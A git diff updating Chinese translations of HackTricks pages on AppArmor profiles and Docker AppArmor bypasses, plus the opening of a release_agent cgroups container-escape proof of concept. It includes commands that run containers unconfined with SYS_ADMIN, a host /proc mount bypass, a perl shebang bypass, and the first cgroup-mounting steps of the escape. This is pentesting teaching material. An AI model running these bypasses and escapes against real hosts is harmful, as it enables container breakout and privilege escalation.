mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['linux-hardening/privilege-escalation/docker-security/apparm
This commit is contained in:
parent
7d8cdd9e41
commit
e99feb8fa6
13 changed files with 538 additions and 740 deletions
|
@ -2,42 +2,44 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
**AppArmor**是一种内核增强技术,用于将**程序**限制在一组**有限的资源**中,并具有**每个程序的配置文件**。配置文件可以**允许**网络访问、原始套接字访问以及在匹配路径上读取、写入或执行文件的权限。
|
||||
**AppArmor** 是一种内核增强功能,用于将**程序**限制在具有**每个程序配置文件**的**有限**的**资源**集合中。配置文件可以**允许**诸如网络访问、原始套接字访问以及在匹配路径上读取、写入或执行文件的**能力**。
|
||||
|
||||
它是一种强制访问控制(**MAC**),将**访问控制属性**与**程序**绑定在一起,而不是与用户绑定。\
|
||||
AppArmor通过**加载到内核中的配置文件**提供限制。\
|
||||
AppArmor配置文件可以处于以下**两种模式**之一:
|
||||
它是一种强制访问控制或**MAC**,将**访问控制**属性**绑定到程序而不是用户**。\
|
||||
AppArmor限制是通过**加载到内核中的配置文件**提供的,通常在启动时。\
|
||||
AppArmor配置文件可以处于**两种模式**之一:
|
||||
|
||||
* **强制模式**:加载到强制模式的配置文件将导致**执行配置文件中定义的策略**,并报告策略违规尝试(通过syslog或auditd)。
|
||||
* **投诉模式**:投诉模式下的配置文件**不会执行策略**,而是**报告**策略**违规**尝试。
|
||||
* **执行**:以执行模式加载的配置文件将导致**执行配置文件中定义的策略**以及**报告**策略违规尝试(通过syslog或auditd)。
|
||||
* **投诉**:投诉模式下的配置文件**不会执行策略**,而是**报告**策略**违规**尝试。
|
||||
|
||||
AppArmor与Linux上的其他一些MAC系统不同:它是**基于路径**的,允许混合使用强制模式和投诉模式的配置文件,使用包含文件简化开发,并且比其他流行的MAC系统具有更低的入门门槛。
|
||||
AppArmor与Linux上的一些其他MAC系统不同:它是**基于路径的**,它允许混合执行和投诉模式配置文件,它使用包含文件来简化开发,并且它的入门门槛远低于其他流行的MAC系统。
|
||||
|
||||
### AppArmor的组成部分
|
||||
|
||||
* **内核模块**:执行实际工作
|
||||
* **策略**:定义行为和限制
|
||||
* **解析器**:将策略加载到内核中
|
||||
* **解析器**:将策略加载到内核
|
||||
* **实用程序**:与apparmor交互的用户模式程序
|
||||
|
||||
### 配置文件路径
|
||||
|
||||
AppArmor配置文件通常保存在_**/etc/apparmor.d/**_目录中。\
|
||||
使用`sudo aa-status`命令,您可以列出受某个配置文件限制的二进制文件。如果您可以将每个列出的二进制文件的路径中的字符“/”更改为点,您将获得所提到文件夹中apparmor配置文件的名称。
|
||||
Apparmor配置文件通常保存在 _**/etc/apparmor.d/**_\
|
||||
使用`sudo aa-status`,您将能够列出受某些配置文件限制的二进制文件。如果您能将每个列出的二进制文件的路径中的字符“/”更改为点,您将获得在上述文件夹中的apparmor配置文件的名称。
|
||||
|
||||
例如,_usr/bin/man_的**apparmor**配置文件将位于_**/etc/apparmor.d/usr.bin.man**_中。
|
||||
例如,针对 _/usr/bin/man_ 的**apparmor**配置文件将位于 _/etc/apparmor.d/usr.bin.man_
|
||||
|
||||
### 命令
|
||||
```bash
|
||||
|
@ -49,42 +51,42 @@ aa-genprof #generate a new profile
|
|||
aa-logprof #used to change the policy when the binary/program is changed
|
||||
aa-mergeprof #used to merge the policies
|
||||
```
|
||||
## 创建一个配置文件
|
||||
## 创建配置文件
|
||||
|
||||
* 为了指定受影响的可执行文件,可以使用**绝对路径和通配符**(用于文件匹配)来指定文件。
|
||||
* 为了指定二进制文件对**文件**的访问权限,可以使用以下**访问控制**:
|
||||
* 为了指示受影响的可执行文件,**绝对路径和通配符**允许使用(用于文件匹配)来指定文件。
|
||||
* 为了指示二进制文件将对**文件**拥有的访问权限,可以使用以下**访问控制**:
|
||||
* **r**(读取)
|
||||
* **w**(写入)
|
||||
* **m**(内存映射为可执行文件)
|
||||
* **m**(将内存映射为可执行文件)
|
||||
* **k**(文件锁定)
|
||||
* **l**(创建硬链接)
|
||||
* **ix**(使用新程序执行另一个程序,继承策略)
|
||||
* **Px**(在清理环境后,在另一个配置文件下执行)
|
||||
* **Cx**(在清理环境后,在子配置文件下执行)
|
||||
* **Ux**(在清理环境后,执行不受限制的程序)
|
||||
* **变量**可以在配置文件中定义,并且可以从配置文件外部进行操作。例如:@{PROC} 和 @{HOME}(在配置文件中添加 #include \<tunables/global>)
|
||||
* **拒绝规则支持覆盖允许规则**。
|
||||
* **ix**(执行另一个程序,新程序继承策略)
|
||||
* **Px**(在清理环境后,根据另一个配置文件执行)
|
||||
* **Cx**(在清理环境后,根据子配置文件执行)
|
||||
* **Ux**(在清理环境后,无限制执行)
|
||||
* **变量**可以在配置文件中定义,并且可以从配置文件外部操作。例如:@{PROC} 和 @{HOME}(在配置文件中添加 #include \<tunables/global>)
|
||||
* **支持拒绝规则以覆盖允许规则**。
|
||||
|
||||
### aa-genprof
|
||||
|
||||
为了方便地开始创建一个配置文件,可以使用 apparmor。它可以让**apparmor检查二进制文件执行的操作,然后让您决定要允许还是拒绝哪些操作**。\
|
||||
只需要运行以下命令:
|
||||
为了轻松开始创建配置文件,apparmor 可以帮助您。它可以让 **apparmor 检查二进制文件执行的操作,然后让您决定想要允许或拒绝哪些操作**。\
|
||||
您只需要运行:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
然后,在另一个控制台上执行二进制文件通常会执行的所有操作:
|
||||
然后,在不同的控制台执行二进制文件通常会执行的所有操作:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
然后,在第一个控制台中按下“**s**”,然后在记录的操作中指示您想要忽略、允许或其他操作。完成后,按下“**f**”,新的配置文件将被创建在 _/etc/apparmor.d/path.to.binary_
|
||||
然后,在第一个控制台按下“**s**”,然后在记录的操作中指示您想要忽略、允许或其他操作。完成后按下“**f**”,新的配置文件将在 _/etc/apparmor.d/path.to.binary_ 中创建
|
||||
|
||||
{% hint style="info" %}
|
||||
使用箭头键可以选择您想要允许/拒绝/其他的内容
|
||||
使用箭头键可以选择您想要允许/拒绝/其他操作
|
||||
{% endhint %}
|
||||
|
||||
### aa-easyprof
|
||||
|
||||
您还可以使用以下命令创建一个二进制文件的apparmor配置文件模板:
|
||||
您还可以使用以下命令为二进制文件创建一个apparmor配置文件的模板:
|
||||
```bash
|
||||
sudo aa-easyprof /path/to/binary
|
||||
# vim:syntax=apparmor
|
||||
|
@ -110,99 +112,24 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
请注意,默认情况下,在创建的配置文件中,没有允许的操作,因此一切都被拒绝。您需要添加类似于`/etc/passwd r,`的行,以允许例如读取`/etc/passwd`的二进制文件。
|
||||
请注意,默认情况下,在创建的配置文件中不允许任何操作,因此一切都被拒绝。您需要添加像 `/etc/passwd r,` 这样的行来允许二进制文件读取 `/etc/passwd` 例如。
|
||||
{% endhint %}
|
||||
|
||||
然后,您可以使用以下命令**强制执行**新的配置文件:
|
||||
然后您可以**强制执行**新的配置文件,使用
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
### 从日志中修改配置文件
|
||||
### 从日志修改配置文件
|
||||
|
||||
以下工具将读取日志,并询问用户是否允许执行一些被检测到的禁止操作:
|
||||
以下工具将读取日志,并询问用户是否想要允许一些检测到的禁止操作:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
使用箭头键可以选择您想要允许/拒绝/其他的内容
|
||||
使用箭头键,您可以选择要允许/拒绝/其他操作的内容。
|
||||
{% endhint %}
|
||||
|
||||
### 管理配置文件
|
||||
|
||||
In order to manage a profile, you can use the `apparmor_parser` command. This command allows you to load, unload, and manage AppArmor profiles.
|
||||
|
||||
To load a profile, use the following command:
|
||||
|
||||
```bash
|
||||
sudo apparmor_parser -r -W /path/to/profile
|
||||
```
|
||||
|
||||
To unload a profile, use the following command:
|
||||
|
||||
```bash
|
||||
sudo apparmor_parser -R /path/to/profile
|
||||
```
|
||||
|
||||
To manage a profile, use the following command:
|
||||
|
||||
```bash
|
||||
sudo apparmor_parser -r -W /path/to/profile
|
||||
```
|
||||
|
||||
You can also use the `aa-status` command to check the status of AppArmor profiles:
|
||||
|
||||
```bash
|
||||
sudo aa-status
|
||||
```
|
||||
|
||||
This command will display a list of all active profiles.
|
||||
|
||||
### Creating a Profile
|
||||
|
||||
To create a new AppArmor profile, you can use the `aa-genprof` command. This command will generate a profile based on the actions performed by a specific application.
|
||||
|
||||
To create a profile, follow these steps:
|
||||
|
||||
1. Run the application that you want to create a profile for.
|
||||
2. Open a terminal and run the following command:
|
||||
|
||||
```bash
|
||||
sudo aa-genprof /path/to/application
|
||||
```
|
||||
|
||||
3. Follow the prompts to allow or deny specific actions performed by the application.
|
||||
4. Once you have finished, the command will generate a profile in `/etc/apparmor.d/`.
|
||||
|
||||
### Modifying a Profile
|
||||
|
||||
To modify an existing AppArmor profile, you can manually edit the profile file located in `/etc/apparmor.d/`.
|
||||
|
||||
1. Open a terminal and run the following command to open the profile file:
|
||||
|
||||
```bash
|
||||
sudo nano /etc/apparmor.d/profile
|
||||
```
|
||||
|
||||
2. Make the necessary modifications to the profile.
|
||||
3. Save the file and exit the text editor.
|
||||
|
||||
### Enforcing and Disabling Profiles
|
||||
|
||||
To enforce an AppArmor profile, use the following command:
|
||||
|
||||
```bash
|
||||
sudo aa-enforce /path/to/profile
|
||||
```
|
||||
|
||||
To disable an AppArmor profile, use the following command:
|
||||
|
||||
```bash
|
||||
sudo aa-disable /path/to/profile
|
||||
```
|
||||
|
||||
### Conclusion
|
||||
|
||||
AppArmor provides a powerful security framework for isolating and restricting the actions of applications. By properly managing and configuring AppArmor profiles, you can enhance the security of your Linux system.
|
||||
```bash
|
||||
#Main profile management commands
|
||||
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
|
||||
|
@ -212,12 +139,12 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
|||
```
|
||||
## 日志
|
||||
|
||||
以下是来自可执行文件 **`service_bin`** 的 _/var/log/audit/audit.log_ 中的 **AUDIT** 和 **DENIED** 日志示例:
|
||||
以下是来自 _/var/log/audit/audit.log_ 中可执行文件 **`service_bin`** 的 **AUDIT** 和 **DENIED** 日志示例:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
```
|
||||
您还可以使用以下方法获取此信息:
|
||||
您也可以使用以下方法获取这些信息:
|
||||
```bash
|
||||
sudo aa-notify -s 1 -v
|
||||
Profile: /bin/service_bin
|
||||
|
@ -235,9 +162,9 @@ Logfile: /var/log/audit/audit.log
|
|||
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
|
||||
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
||||
```
|
||||
## Docker中的Apparmor
|
||||
## Docker 中的 Apparmor
|
||||
|
||||
请注意,默认情况下加载了docker的**docker-profile**配置文件:
|
||||
请注意,默认情况下如何加载 docker 的 **docker-profile** 配置文件:
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
|
@ -253,49 +180,49 @@ apparmor module is loaded.
|
|||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
默认情况下,**Apparmor docker-default配置文件**是从[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)生成的。
|
||||
默认情况下,**Apparmor docker-default profile** 是从 [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) 生成的。
|
||||
|
||||
**docker-default配置文件摘要**:
|
||||
**docker-default profile 概要**:
|
||||
|
||||
* 允许访问所有的**网络**
|
||||
* 没有定义**特权**(但是,一些特权将来自于包含基本基础规则,即#include \<abstractions/base>)
|
||||
* 不允许**写入**任何**/proc**文件
|
||||
* 其他/**proc**和/**sys**的**子目录**/**文件**被拒绝读取/写入/锁定/链接/执行访问
|
||||
* 不允许**挂载**
|
||||
* 只能在由**相同的apparmor配置文件**限制的进程上运行**Ptrace**
|
||||
* 对所有**网络**的**访问**
|
||||
* **未定义任何能力**(然而,一些能力将来自包含基本基础规则,即 #include \<abstractions/base>)
|
||||
* **不允许**向任何**/proc**文件**写入**
|
||||
* /**proc** 和 /**sys** 的其他**子目录**/**文件**被**拒绝**读/写/锁定/链接/执行访问
|
||||
* **不允许**使用**挂载**
|
||||
* **Ptrace** 只能在被**相同apparmor profile**限制的进程上运行
|
||||
|
||||
一旦你**运行一个docker容器**,你应该看到以下输出:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
请注意,默认情况下,**apparmor甚至会阻止容器被授予的特权权限**。例如,即使授予了SYS_ADMIN特权,它也可以**阻止在/proc目录内写入的权限**,因为默认的docker apparmor配置文件拒绝了此访问权限:
|
||||
请注意,**apparmor 甚至会阻止授予容器的 capabilities 权限**。例如,即使授予了 SYS\_ADMIN 能力,它也能够**阻止写入 /proc 的权限**,因为默认情况下 docker apparmor 配置文件拒绝此访问权限:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
你需要**禁用apparmor**来绕过其限制:
|
||||
你需要**禁用 apparmor**来绕过它的限制:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
请注意,默认情况下,**AppArmor** 也会禁止容器从内部挂载文件夹,即使具有 SYS_ADMIN 权限。
|
||||
请注意,默认情况下,**AppArmor** 也会**禁止容器从内部挂载**文件夹,即使具有 SYS\_ADMIN 能力。
|
||||
|
||||
请注意,您可以向 Docker 容器**添加/删除**权限(这仍然受到像 **AppArmor** 和 **Seccomp** 这样的保护方法的限制):
|
||||
请注意,您可以**添加/删除**对 docker 容器的**能力**(这仍将受到像 **AppArmor** 和 **Seccomp** 这样的保护方法的限制):
|
||||
|
||||
- `--cap-add=SYS_ADMIN` 给予 `SYS_ADMIN` 权限
|
||||
- `--cap-add=ALL` 给予所有权限
|
||||
- `--cap-drop=ALL --cap-add=SYS_PTRACE` 删除所有权限,只给予 `SYS_PTRACE` 权限
|
||||
* `--cap-add=SYS_ADMIN` 赋予 `SYS_ADMIN` 能力
|
||||
* `--cap-add=ALL` 赋予所有能力
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` 删除所有能力,只赋予 `SYS_PTRACE`
|
||||
|
||||
{% hint style="info" %}
|
||||
通常,当您发现在 Docker 容器内部具有特权权限,但某些部分的攻击代码无法正常工作时,这是因为 Docker 的 AppArmor 会阻止它。
|
||||
通常,当您**发现**在 **docker** 容器**内部**有一个**特权能力**可用**但是**部分**利用不起作用**时,这将是因为 docker **apparmor 将阻止它**。
|
||||
{% endhint %}
|
||||
|
||||
### 示例
|
||||
|
||||
(示例来自[**此处**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||
(示例来自[**这里**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||
|
||||
为了说明 AppArmor 的功能,我创建了一个名为“mydocker”的新 Docker 配置文件,并添加了以下行:
|
||||
为了说明 AppArmor 的功能,我创建了一个新的 Docker 配置文件“mydocker”,并添加了以下行:
|
||||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
|
@ -303,37 +230,37 @@ deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
|||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
要列出配置文件,我们可以执行以下命令。下面的命令将列出我的新AppArmor配置文件。
|
||||
要列出配置文件,我们可以执行以下命令。下面的命令正在列出我的新AppArmor配置文件。
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
```
|
||||
如下所示,当我们尝试更改“/etc/”时,由于AppArmor配置文件阻止对“/etc/”的写访问,因此会出现错误。
|
||||
如下所示,当我们尝试更改“/etc/”时会出现错误,因为AppArmor配置文件阻止了对“/etc”的写入访问。
|
||||
```
|
||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
### AppArmor Docker绕过1
|
||||
### AppArmor Docker 绕过1
|
||||
|
||||
您可以使用以下命令找到正在运行的容器使用的**AppArmor配置文件**:
|
||||
您可以使用以下方法找出**哪个 apparmor 配置文件正在运行容器**:
|
||||
```bash
|
||||
docker inspect 9d622d73a614 | grep lowpriv
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
然后,您可以运行以下命令来**查找正在使用的确切配置文件**:
|
||||
然后,您可以运行以下命令来**找到正在使用的确切配置文件**:
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
在奇怪的情况下,你可以**修改apparmor docker配置文件并重新加载它**。你可以移除限制并"绕过"它们。
|
||||
在奇怪的情况下,您可以**修改 apparmor docker 配置文件并重新加载它。** 您可以移除限制并“绕过”它们。
|
||||
|
||||
### AppArmor Docker绕过2
|
||||
### AppArmor Docker 绕过2
|
||||
|
||||
**AppArmor是基于路径的**,这意味着即使它可能会**保护**目录内的文件,比如**`/proc`**,如果你可以**配置容器的运行方式**,你可以将主机的proc目录挂载到**`/host/proc`**,这样它就**不再受AppArmor的保护**。
|
||||
**AppArmor 是基于路径的**,这意味着即使它可能在保护像 **`/proc`** 这样的目录中的文件,如果您可以**配置容器将如何运行**,您可以**挂载**宿主机的 proc 目录到 **`/host/proc`**,它**将不再受 AppArmor 保护**。
|
||||
|
||||
### AppArmor Shebang绕过
|
||||
### AppArmor Shebang 绕过
|
||||
|
||||
在[**这个漏洞**](https://bugs.launchpad.net/apparmor/+bug/1911431)中,你可以看到一个例子,即使你阻止perl使用某些资源,如果你只是创建一个shell脚本,在第一行指定**`#!/usr/bin/perl`**,然后**直接执行该文件**,你将能够执行任何你想要的操作。例如:
|
||||
在[**这个错误**](https://bugs.launchpad.net/apparmor/+bug/1911431)中,您可以看到一个例子,展示了**即使您阻止 perl 使用某些资源**,如果您只是创建一个在第一行**指定** **`#!/usr/bin/perl`** 的 shell 脚本,并且您**直接执行该文件**,您将能够执行任何您想要的操作。例如:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
|
@ -345,12 +272,14 @@ chmod +x /tmp/test.pl
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,28 +1,30 @@
|
|||
# Docker release\_agent cgroups逃逸
|
||||
# Docker release\_agent cgroups 逃逸
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果你想在 **HackTricks中看到你的公司广告** 或 **下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
### 分解概念验证
|
||||
### 分析概念验证
|
||||
|
||||
为了触发此漏洞利用,我们需要一个cgroup,我们可以在其中创建一个`release_agent`文件,并通过杀死cgroup中的所有进程来触发`release_agent`调用。实现这一目标的最简单方法是挂载一个cgroup控制器并创建一个子cgroup。
|
||||
要触发这个漏洞,我们需要一个可以创建`release_agent`文件的cgroup,并通过杀死cgroup中的所有进程来触发`release_agent`的调用。最简单的方法是挂载一个cgroup控制器并创建一个子cgroup。
|
||||
|
||||
为此,我们创建一个`/tmp/cgrp`目录,挂载[RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup控制器,并创建一个子cgroup(在本示例中命名为“x”)。虽然并未测试每个cgroup控制器,但这种技术应该适用于大多数cgroup控制器。
|
||||
为此,我们创建一个`/tmp/cgrp`目录,挂载[RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup控制器并创建一个子cgroup(为了本例,我们将其命名为“x”)。虽然并非所有cgroup控制器都经过测试,但这种技术应该适用于大多数cgroup控制器。
|
||||
|
||||
如果你正在跟随并遇到**`mount: /tmp/cgrp: special device cgroup does not exist`**,那是因为你的设置没有RDMA cgroup控制器。**将`rdma`更改为`memory`以修复**。我们使用RDMA是因为原始的PoC只设计用于与其一起使用。
|
||||
如果你跟随操作并遇到 **`mount: /tmp/cgrp: special device cgroup does not exist`**,这是因为你的设置没有RDMA cgroup控制器。**将`rdma`更改为`memory`即可解决问题**。我们使用RDMA是因为原始的概念验证只设计为与它一起工作。
|
||||
|
||||
请注意,cgroup控制器是全局资源,可以多次挂载,具有不同的权限,并且在一个挂载中进行的更改将应用于另一个挂载。
|
||||
请注意,cgroup控制器是全局资源,可以多次以不同权限挂载,一个挂载中的更改将应用于另一个挂载。
|
||||
|
||||
我们可以在下面看到“x”子cgroup的创建和其目录列表。
|
||||
我们可以在下面看到“x”子cgroup的创建和它的目录列表。
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
root@b11cf9eab4fd:/# ls /tmp/cgrp/
|
||||
|
@ -30,22 +32,22 @@ cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release re
|
|||
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
|
||||
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
|
||||
```
|
||||
